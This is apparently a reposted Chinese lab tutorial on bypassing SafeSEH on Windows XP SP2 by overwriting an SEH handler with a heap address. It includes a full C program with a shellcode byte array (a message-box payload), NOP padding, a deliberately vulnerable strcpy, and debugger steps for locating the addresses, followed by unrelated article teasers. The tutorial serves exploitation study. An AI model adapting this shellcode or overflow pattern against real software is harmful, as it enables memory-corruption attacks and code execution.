8.2 从堆中绕过SafeS.E.H

news2025/1/13 11:25:16

一、实验环境

        操作系统:windows XP SP2(关闭DEP)

        软件版本:VS2008(release)、原版OD(实时调试)

二、实验代码

#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x3E\x39\x00"//address of shellcode in heap

/*
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
*/


;


void test(char * input)
{
	
	char str[200];
	strcpy(str,input);	
    int zero=0;
	zero=1/zero;
}

void main()
{
	//__asm int 3
	char * buf=(char *)malloc(500);
	strcpy(buf,shellcode);
	test(shellcode);	
}

        实验思路与代码简要分析:
        (1)首先在堆中申请500字节的空间,用来存放shellcode;

        (2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;

        (3)用shellcode在堆中的起始地址覆盖异常处理函数地址,然后通过制造除零异常,将程序转入异常处理,进而跳转到堆中的shellcode执行。

三、实验步骤

        要想执行shellcode,需要知道:

  • 堆区的起始地址 ->为了让异常处理函数指针指向shellcode;
  • 第一个SEH异常处理函数指针在栈中的地址;
  • 栈区buf的起始地址->为了构造shellcode.

        首先shellcode用\x90\x90填充,便于查看,编译允许,程序会在断点处停下:

         可以看到堆区的起始位置为0x393EA0。

        怎么看出来?数据窗口依次跳转到变红的寄存器所保存的地址处,不过,一般函数调用返回值都存放在eax中;另外,0x178代表freelist[0]。

        程序跳转到test中strcpy执行完的地方:

         可以查看到栈中buf的起始地址为0x12FE8C.

        查看SEH链:

         可以看到异常处理函数的指针存放在0x12FFB0+4的地方。所以我们使用300字节就可以覆盖掉异常处理函数指针。

        构造shellcode:

         !!!注意:最后四字节的shellcode起始地址要填自己设备的shellcode起始地址。

        修改完shellcode,运行程序:

         成功弹窗!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/32.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机操作系统引论(操作系统)

目录 一、操作系统的目标 二、操作系统的作用 三、操作系统的基本特性 四、操作系统的主要功能 五、操作系统的结构设计 一、操作系统的目标 操作系统&#xff08;Operating System&#xff0c;OS&#xff09;是计算机硬件的第一层软件&#xff0c;是计算机必备配置的最基…

接口自动化测试(二)—— Postman实现接口测试

其他 接口自动化测试 知识参考&#xff1a;接口自动化测试 目录 一、Postman介绍和安装 1、简介 2、安装 3、安装Postman插件newman 二、Postman基本用法 1、案例一 2、案例二 三、Postman高级用法 1、管理测试用例Collections 1.1、创建 collections 1.2、创建 用…

libusb系列-002-Windows下libusb源码编译

libusb系列-002-Windows下libusb源码编译 文章目录libusb系列-002-Windows下libusb源码编译摘要Windows下编译libusb库下载源码进入msvc目录选择对应的项目工程编译查看编译好的库文件关键字&#xff1a; vs、 编译、 Qt、 libusb、 windows内容背景&#xff1a; 最近项目终于切…

从 0 到 1 落地前端工程化

你将获得 初识&#xff1a;总结前端工程化技能图谱 了解&#xff1a;梳理前端工程化落地流程 掌握&#xff1a;搭建前端工程化基建项目 提高&#xff1a;实战前端工程化解决方案 作者介绍 JowayYoung&#xff0c;资深前端工程师&#xff0c;目前就职于网易互动娱乐事业群&…

建立私人知识网站 cpolar轻松做到1 (部署DokuWiki)

维基百科&#xff08;wiki&#xff09;相信大家都有所耳闻&#xff0c;作为全球最有名的百科知识搜索网站&#xff0c;很多不常见的知识点都能在这上面搜索到&#xff0c;而维基百科能够成功的原因&#xff0c;就是可以编辑的和修订的功能&#xff0c;让维基百科能够收到各领域…

vue学习笔记——简单入门总结(一)

Vue学习笔记 文章目录Vue学习笔记1. 学习vue的准备1.1. vue简介:1.2. vue特点:1.2.1. 组件化&#xff1a;1.2.1. 声明式&#xff1a;1.2. vue的引入1.2.1. 直接引入&#xff1a;1.2.2. 脚手架构建vue项目&#xff1a;1.2.3&#xff1a;vue开发插件安装&#xff1a;2. vue的简单…

apache服务web页面执行shell脚本

首先安装apache服务 yum -y install httpd 如下介绍两种执行的方式 方式一、url直接传参的方式 #cat /var/www/cgi-bin/shell #!/bin/sh printf "Content-Type: text/plain\n\n" your_commands_here传参的动作 http://172.16.61.119:8098/cgi-bin/shell?pwd在…

STM32使用寄存器开发底层驱动学习(USART+DMA)

目录学习资料下载任务USART的DMA功能发送数据DMA非中断模式接收USART数据。DMA中断模式接收USART数据总结学习资料下载 在本文学习中会用到如下的文档资料&#xff0c;没有的朋友先下载。 工程模板 Cortex M3权威指南&#xff08;中文&#xff09; &#xff1a;本文简称为《…

1024程序节|你知道老师上课随机点名是怎么实现的吗

个人主页&#xff1a;天寒雨落的博客_CSDN博客-C,CSDN竞赛,python领域博主 目录 前言 随机点名 搭建主体框架 简述 执行代码 添加功能 块级元素随机输出姓名 Math.random() Math.round() 按钮控制开始/结束 onclick() clearInterval() 简述 完整代码 执行结果 片…

I/O复用--浅谈epoll

我们聊了聊select和poll知道&#xff1a; 它们都是采取轮询的方式查找是否有就绪描述符。都有数据结构从用户态拷贝到内核态&#xff0c;内核态拷贝到用户态这个过程。 为了针对许多大量连接&#xff0c;高并发的的场景下大量的资源消耗&#xff0c;效率低的问题&#xff0c;这…

网络安全实战:记一次比较完整的靶机渗透

0x01信息搜集 nmap -sC -sV -p- -A 10.10.10.123 -T4 -oA nmap_friendzone访问80端口的http服务只发现了一个域名。 0x02 DNS区域传输 因为我们前面扫描的时候发现了53端口是开着一个dns服务的&#xff0c;所以尝试使用friendzoneportal.red进行axfr&#xff0c;它的具体含…

《软件测试》实验2:嵌入式软件测试实验报告

文章目录实验目的温度控制器需求文档及测试要求环境搭建实验内容温度采集处理功能测试加热棒输出电压测试散热风扇温度传感器输入接口&#xff08;Senser_JK&#xff09;控制加热棒输出接口&#xff08;Heater_JK&#xff09;控制散热风扇输出接口&#xff08;Fan_JK&#xff0…

目标检测 YOLOv5 - 模型推理预处理 letterbox

目标检测 YOLOv5 - 模型推理预处理 letterbox flyfish 版本&#xff1a;YOLOv5 6.2 假如图片大小是1080 * 1920 &#xff08;height * width &#xff09; width 1920 height 1080 当模型输入是 640 * 640时 shapes (1080, 1920), (0.33, 0.33), (0.0, 140.0) 640/ 1920…

c++11 右值引用和移动语义

文章目录1. 左值引用和右值引用2. 左值引用与右值引用比较3. 右值引用使用场景和意义3.1左值引用的使用场景3.2左值引用的短板&#xff1a;3.3 移动构造3.4 移动赋值3.5 STL中的容器3.6 右值引用引用左值及其一些更深入的使用场景分析3.7 STL容器插入接口函数也增加了右值引用版…

Springboot 使用装饰器模式,快看,它装起来了

前言 小飞棍来咯&#xff01; 本篇文章跟小飞棍一毛钱关系没有。 本篇内容&#xff1a; 就是配合实战案例介绍我们平时 在springboot项目里面 怎么去用 装饰器模式、多层装饰怎么玩。 正文 首先先说下装饰器模式是什么 官方&#xff1a; 装饰器模式&#xff08;Decorator Pa…

Python3,5行代码,制作Gif动图,太简单了。

gif动图制作1、引言2、代码实战2.1 安装2.2 代码3、总结1、引言 小屌丝&#xff1a;鱼哥&#xff0c; 你能不能帮我找一个动图&#xff0c; 小鱼&#xff1a;啥动图&#xff0c;你自己百度不就行了。 小屌丝&#xff1a;我这不是没找到吗&#xff0c; 不然我就自己来找了。 小…

Oracle数据库:net configureation assistant工具配置监听listener,配置本地网络访问服务器上的数据库

Oracle数据库&#xff1a;net configureation assistant工具配置监听listener&#xff0c;配置本地网络访问服务器上的数据库 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开…

图像类找工作面试题(二)——常见问题大总结

文章目录一、深度学习问题1、目标检测系列&#xff08;1&#xff09;介绍目标检测网络YOLO以及SSD系列原理。&#xff08;2&#xff09;YOLO对小目标检测效果不好的原因&#xff0c;怎么改善&#xff1f;&#xff08;3&#xff09;怎么防止过拟合&#xff08;4&#xff09;Drop…

Ubuntu18.04LTS环境下创建OpenCV4.x-Android库

1 背景 1.1 java.lang.UnsatisfiedLinkError: dlopen failed: library “libc_shared.so” not found libc_shared.so 之前默认集成在 opencv_java3.so&#xff0c;但是在OpenCV4.x以后&#xff0c;该动态库默认不集成在opencv_java4.so。 1.2 E/OpenCV/StaticHelper: OpenC…

NLP学习之:Bert 模型复现(1)任务分析 + 训练数据集构造

​ 文章目录代码资源原理学习任务代码讲解代码重写说明代码资源 Bert-pytorch 原理 学习任务 Bert 本质上是 Transformer 的 Encoder 端&#xff0c;Bert 在预训练时最基本的任务就是&#xff1a; 判断输入的两个句子是否真的相邻预测被 [MASK] 掉的单词 通过这两种任务的约…